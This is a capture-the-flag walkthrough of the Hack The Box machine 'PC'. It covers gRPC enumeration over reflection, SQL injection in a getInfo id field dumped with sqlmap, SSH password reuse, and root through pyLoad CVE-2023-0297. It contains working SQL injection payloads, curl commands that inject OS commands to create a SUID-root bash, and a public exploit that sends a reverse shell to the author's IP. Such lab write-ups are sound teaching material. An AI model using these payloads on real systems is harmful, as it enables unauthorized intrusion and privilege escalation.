HTB: PC
gRPC SQLi over a reflected SimpleApp service for creds and SSH, then a local pyLoad CVE-2023-0297 for root
Port 50051 ran a gRPC service with reflection on. Registering and logging in returned a JWT, and getInfo took an id that was SQL-injectable against SQLite. sqlmap dumped sau's password for SSH. A local pyLoad on 127.0.0.1:8000 fell to CVE-2023-0297 for a root shell.
the box
PC is an easy Linux box whose whole gimmick is the second open port. Past SSH there is one service on 50051 that nmap cannot name. The raw probe bytes are HTTP/2 frames, which is the tell for gRPC. From there the path is: enumerate the service over reflection, register and log in to get a JWT, find SQL injection in the id field of getInfo, dump SQLite for SSH creds, then tunnel to a localhost-only pyLoad panel and hit it with a known pre-auth RCE for root.
recon
Full TCP sweep first, then a version scan on what came back.
nmap -p- --min-rate 10000 10.129.227.126
nmap -p 22,50051 -sCV 10.129.227.126
Two ports. SSH is current Ubuntu and not interesting on its own. 50051 is the one that matters.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
50051/tcp open unknown
nmap could not fingerprint 50051. It returned data but gave up:
50051/tcp open unknown syn-ack ttl 63
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint ...
SF-Port50051-TCP:V=7.93%I=7%D=5/21%Time=646A22BE%P=x86_64-pc-linux-gnu%r(N
SF:ULL,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\x0
SF:6\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")...
Those bytes are an HTTP/2 SETTINGS frame (frame type 0x04). The probe response is the server pushing HTTP/2 settings, which is what a gRPC server does on connect. A plain telnet confirms it:
telnet 10.129.229.124 50051
Trying 10.129.229.124...
Connected to 10.129.229.124.
Escape character is '^]'.
???@Did not receive HTTP/2 settings before handshake timeoutConnection closed by foreign host.
Did not receive HTTP/2 settings before handshake timeout is the gRPC server complaining that my telnet did not speak HTTP/2 back. So this is gRPC on 50051 (its default port).
To talk to it I used grpcurl. The server runs HTTP/2 without TLS, so every call needs -plaintext.
go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest
Server reflection was enabled, which is the whole game. With reflection on I can ask the server for its own service definitions instead of needing a .proto file.
grpcurl -plaintext 10.129.229.124:50051 list
SimpleApp
grpc.reflection.v1alpha.ServerReflection
SimpleApp is the app. Describe it to get the RPC methods:
grpcurl -plaintext 10.129.229.124:50051 describe SimpleApp
SimpleApp is a service:
service SimpleApp {
rpc LoginUser ( .LoginUserRequest ) returns ( .LoginUserResponse );
rpc RegisterUser ( .RegisterUserRequest ) returns ( .RegisterUserResponse );
rpc getInfo ( .getInfoRequest ) returns ( .getInfoResponse );
}
Three methods: register, login, and a getInfo. Listing the service spells out the fully qualified names:
grpcurl -plaintext 10.129.229.124:50051 list SimpleApp
SimpleApp.LoginUser
SimpleApp.RegisterUser
SimpleApp.getInfo
Reflection also describes the request messages, so I know exactly what fields each RPC wants:
grpcurl -plaintext 10.129.229.124:50051 describe .LoginUserRequest
grpcurl -plaintext 10.129.229.124:50051 describe .getInfoRequest
message LoginUserRequest { string username = 1; string password = 2; }
message getInfoRequest { string id = 1; }
Calling the methods cold goes nowhere. LoginUser with no body fails, and getInfo wants an auth header:
grpcurl -plaintext 10.129.229.124:50051 SimpleApp.LoginUser
# { "message": "Login unsuccessful" }
grpcurl -plaintext 10.129.229.124:50051 SimpleApp.getInfo
# { "message": "Authorization Error.Missing 'token' header" }
So the flow is register, then login for a token, then call getInfo with that token.
foothold
Register an account. RegisterUser takes a username and password as text fields:
grpcurl -d 'username: "0xdf", password: "0xdf0xdf"' -plaintext -format text 10.129.229.124:50051 SimpleApp.RegisterUser
# Account created for user 0xdf!
Log in with the same creds. The JWT comes back in the response trailers, so I ran login with -v to see them:
grpcurl -v -d 'username: "0xdf", password: "0xdf0xdf"' -plaintext -format text 10.129.229.124:50051 SimpleApp.LoginUser
Response contents:
message: "Your id is 279."
Response trailers received:
token: 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODQ5NDMzNDJ9.6o_M61lVFLIJ6pomxsiNweLL_vLiwjK3wBZ2Cnoa7tQ'
One annoyance: the app resets accounts every few minutes, so the JWT goes stale. While working I had to re-register and re-login periodically to get a fresh token.
I also tried the same thing in grpcui, the browser front end, which is easier than hand-building text bodies:
grpcui -plaintext 10.129.229.124:50051
# gRPC Web UI available at http://127.0.0.1:44583/
Now call getInfo with the token in the token metadata header and the id in the body:
grpcurl -d 'id: "279"' -H "token: eyJ0eXAi..." -plaintext -format text 10.129.229.124:50051 SimpleApp.getInfo
# message: "Will update soon."
The id field looked like a database lookup, so I tested it for SQL injection. A bare single quote breaks the query:
grpcurl -d "id: \"279'\"" -H "token: $TOKEN" -plaintext -format text 10.129.229.124:50051 SimpleApp.getInfo
# Error: bad argument type for built-in operation
A numeric UNION SELECT returns my value, which confirms injection with no quoting around the id:
grpcurl -d 'id: "279 union select 1"' -H "token: $TOKEN" -plaintext -format text 10.129.229.124:50051 SimpleApp.getInfo
# message: "1"
sqlite_version() tells me the backend:
grpcurl -d 'id: "279 union select sqlite_version()"' -H "token: $TOKEN" -plaintext -format text 10.129.229.124:50051 SimpleApp.getInfo
# message: "3.31.1"
SQLite. From here I could keep going by hand, but I let sqlmap do the dumping. The trick is sqlmap does not speak gRPC, so I drove the request through grpcui (which exposes an HTTP/JSON /invoke/ endpoint), proxied that through Burp, and saved the raw HTTP request to a file. The JSON body looks like:
{"metadata":[{"name":"token","value":"<jwt>"}],"data":[{"id":"279"}]}
I saved that request to /tmp/req.sql and ran sqlmap against it, marking the injection point with * on the JSON parameter:
sqlmap -r /tmp/req.sql --batch --threads 10
sqlmap found boolean-based blind in the id value:
Parameter: JSON #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: {"metadata":[{"name":"token","value":"<jwt>"}],"data":[{"id":"52 AND 1828=1828"}]}
---
[INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[WARNING] on SQLite it is not possible to enumerate databases (use only '--tables')
SQLite is one file per database with no server-side catalog of databases, so there is nothing to enumerate above the table level. Straight to tables:
sqlmap -r /tmp/req.sql --tables
[2 tables]
+----------+
| accounts |
| messages |
+----------+
Dump everything:
sqlmap -r /tmp/req.sql -T accounts -C username,password --dump-all --threads 10
Database: <current>
Table: accounts
[2 entries]
+------------------------+----------+
| password | username |
+------------------------+----------+
| admin | admin |
| HereIsYourPassWord1431 | sau |
+------------------------+----------+
messages only held the Will update soon. string from earlier. The win is sau:HereIsYourPassWord1431.
The same dump by hand over the gRPC injection would be:
grpcurl -d 'id: "279 union select group_concat(username || \":\" || password) from accounts"' -H "token: $TOKEN" -plaintext -format text 10.129.229.124:50051 SimpleApp.getInfo
# admin:admin,sau:HereIsYourPassWord1431,0xdf:0xdf0xdf
user
sau reuses that password for SSH:
sshpass -p HereIsYourPassWord1431 ssh sau@10.129.229.124
That dropped a shell as sau and the user flag.
root
Standard local enumeration. Process list shows two python services owned by root, one of which is pyLoad:
ps auxww | grep -i python
root /usr/bin/python3 /opt/app/app.py
root /usr/bin/python3 /usr/local/bin/pyload
The listening sockets back that up. There is a service bound to localhost on 8000 that is not reachable from outside, plus pyLoad’s Click’n’Load port 9666 on all interfaces:
netstat -tnlp
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:9666 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
127.0.0.1:8000 is the pyLoad web UI, only reachable from the box itself. I forwarded it to my host over SSH so I could browse it:
ssh -L 8000:127.0.0.1:8000 sau@10.129.229.124
Visiting http://127.0.0.1:8000/ showed a pyLoad login. pyLoad is vulnerable to CVE-2023-0297, an unauthenticated pre-auth RCE. The /flash/addcrypted2 endpoint (part of the Click’n’Load feature) passes the jk parameter into js2py.eval_js. js2py ships pyimport, which imports real Python modules from inside the JS sandbox. So pyimport os; os.system(...) in jk runs OS commands as the pyLoad user, which is root here. The endpoint is reachable both on the localhost UI port 8000 and the all-interfaces Click’n’Load port 9666, so either works.
A bare proof with curl, creating a file as root:
curl -d 'jk=pyimport os;os.system("touch /tmp/pwn");f=function f2(){};&package=x&crypted=AAAA&passwords=aaaa' http://127.0.0.1:8000/flash/addcrypted2
The RCE is blind, so to confirm and to escalate cleanly I copied bash to /tmp and set it SUID-root:
curl -d 'jk=pyimport os;os.system("cp /bin/bash /tmp/0xdf; chmod 6777 /tmp/0xdf");f=function f2(){};&package=x&crypted=AAAA&passwords=aaaa' http://127.0.0.1:8000/flash/addcrypted2
/tmp/0xdf -p
# euid=0(root)
I also ran the public exploit, which wraps the same payload and sends a reverse shell to my listener:
python3 exploit.py -t http://127.0.0.1:8000/ -I 10.10.16.7 -P 1337
Either way lands a root shell and the root flag.
takeaway
Reflection on the gRPC endpoint handed me the entire service definition, including the exact request fields, so the only real work was noticing that the authenticated id parameter was still injectable. A JWT in front of a query does nothing if the query concatenates the value. The root step is a textbook localhost-only admin panel: the bug (CVE-2023-0297) is public and trivial, the only friction was that pyLoad bound 8000 to loopback, which is why the SSH port forward mattered.